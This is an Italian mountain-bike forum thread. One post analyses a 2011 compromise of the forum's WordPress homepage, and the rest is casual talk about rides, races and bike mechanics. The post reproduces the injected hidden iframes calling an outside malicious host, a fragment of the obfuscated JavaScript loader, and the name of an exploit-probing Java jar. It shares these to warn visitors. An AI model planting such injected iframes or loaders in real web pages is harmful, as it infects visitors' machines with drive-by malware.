Purtroppo non esistono software senza bug, la differenza sta nel fatto che:Linux non era semplicemente il target di quell'attacco lì perchè tanto non lo usa quasi nessuno. Linux ha delle vulnerabilità a volte veramente tremende... una fra tutte:
https://dc414.org/2011/04/fun-with-cve-2011-0997/
Attenzione update.
Questo non l'ho scritto prima, ma in data 31/5/2011 degli indiani hanno sfruttato una vulnerabilità in Wordpress ed hanno inserito del codice malevolo sulla homepage di "mtb-forum.it". Probabilmente la vulnerabilità sfruttata è la seguente:
[url]http://www.exploit-db.com/exploits/17299/[/URL]
Il codice iniettato era il seguente:
<iframe src='[url]http://indometastan.in/in.cgi?default[/URL]' width='2' height='2'
frameborder='0'></iframe><iframe
src='[url]http://indometastan.in/in.cgi?default[/URL]' width='2' height='2'
frameborder='0'></iframe><iframe
src='[url]http://indometastan.in/in.cgi?default[/URL]' width='2' height='2'
frameborder='0'></iframe><br />
<b>Warning</b>: Cannot modify header information - headers already sent
by (output started at /home/www/wusr0001/index.php:1) in
<b>/home/www/wusr0001/wp-content/plugins/tgn-embed-everything/tgn-embed-everything.php</b>
on line <b>61</b><br />
<iframe src='[url]http://indometastan.in/in.cgi?default[/URL]' width='2' height='2'
frameborder='0'></iframe>
<html xmlns="http://www.w3.org/1999/xhtml" dir="" lang="">
<head>
fortunatamente avevano implementato il
codice seguente per offuscare il codice malevolo, che lo rendeva
lentissimo da eseguire:
ar2="["+(document.getElementsByTagName("div")[1].innerHTML).replace(/c/g,",");
ar2=e(ar2);
s="";
a ="";
for (i=0;i!=ar2.length-2;i++){
q=ar2;
e("s+=ar.substr(q / 7,1)");
}
Questo avrebbe fatto scaricare poi il seguente Jar dall'url fros63.cz.cc:
function end_redirect(){}var javafile='./games/getJavaInfo.jar'
Questo Jar non faceva altro che prendere la versione locale della Java
applet, per lanciare serie di exploit Java.
Nel mio caso Windows XP sp3 lanciava questo:
[url]http://www.zerodayinitiative.com/advisories/ZDI-10-056/[/URL]
Consiglio a tutti coloro che hanno visitato il sito in quel giorno di fare una
scansione antivirus, soprattutto se la visione è avvenuta da una macchina Windows o MacosX
Wordpress è molto usato ma è un cesso.
"spaghetti code" a voler essere buoni..
dan@kailed:~> uname -a
Linux kailed 2.6.31.14-0.6-desktop #1 SMP PREEMPT 2010-12-10 11:18:32 +0100 i686 athlon i386 GNU/Linux
Bye.
Linux non era semplicemente il target di quell'attacco lì perchè tanto non lo usa quasi nessuno. Linux ha delle vulnerabilità a volte veramente tremende... una fra tutte:
[url]https://dc414.org/2011/04/fun-with-cve-2011-0997/[/URL]
Purtroppo non esistono software senza bug, la differenza sta nel fatto che:
1) i problemi non vengono tenuti nascosti
2) i fix spesso sono disponibili poche ore dopo la scoperta della falla
Detto questo, la differenza vera la fa quasi sempre quel pezzo di carne cruda che sta tra la sedia e il monitor
Mi sa che siamo un filo OT
Ciao.
Oh ragazzi ,come diceva qualcuno..........perchè non parlate in stampatello così che, riesco-riusciamo a capire pure noi se l'argomento trattato e davvero pericoloso o meno.
Ad ogni modo io la scansione(completa) l'ho fatta ieri e non mi risulta niente di strano.
Posso ritenermi uno che ha il pezzo di carne cruda grosso???
Fine ot
io stasera esco, chi vuole venire a fare un giro parli.....
partenza da sud del parco...
io ho fatto la scansione della bibletta e ho trovato:
fango nel ponticello della forcella
erba nel cambio
sassi nella catena
unto sulle manopole
dite che posso connettermi ancora ?
fabbio ..... basta frignare....
l'anno prossimo vieni a fare la 6 ore di albosaggia.....te le sto provando tutte ma tu non mi dai proprio retta....
io stasera esco, chi vuole venire a fare un giro parli.....
partenza da sud del parco...
stai sparando troppo alto.... 12 ore per cominciare non vanno bene.....
QUANDO è QUELLA in val di sole?Mica detto che le devo tutte e 12........
QUANDO è QUELLA in val di sole?
ooo ma quella di cesate chi la fa?
per quella di cesate ho chiesto se è indispensabile il certificato da agonista ma fede65 non mi risponde..
NOME e COGNOME cosi lo si evitaSi potrà essere così incompetenti!!!????!
per quella di cesate ho chiesto se è indispensabile il certificato da agonista ma fede65 non mi risponde..
Fabio.... mi sa che mi compro le cose per farmi manutenzione da solo alla bici come te.
Mi hanno fatto pagare abbastanza per la registrazione della bici, provo il cambio e vedo che la terza marcia salta. Ricontrollo e non mi hanno allineato il forcellino! Si potrà essere così incompetenti!!!????!
ci vuole la visita x agonista
Chi fa da sè fa per tre!
Comunque quello di trovare un meccanico affidabile è un problema diffuso......
Chi fa da sè fa per tre!
Comunque quello di trovare un meccanico affidabile è un problema diffuso......
We use cookies and similar technologies for the following purposes:
Do you accept cookies and these technologies?
We use cookies and similar technologies for the following purposes:
Do you accept cookies and these technologies?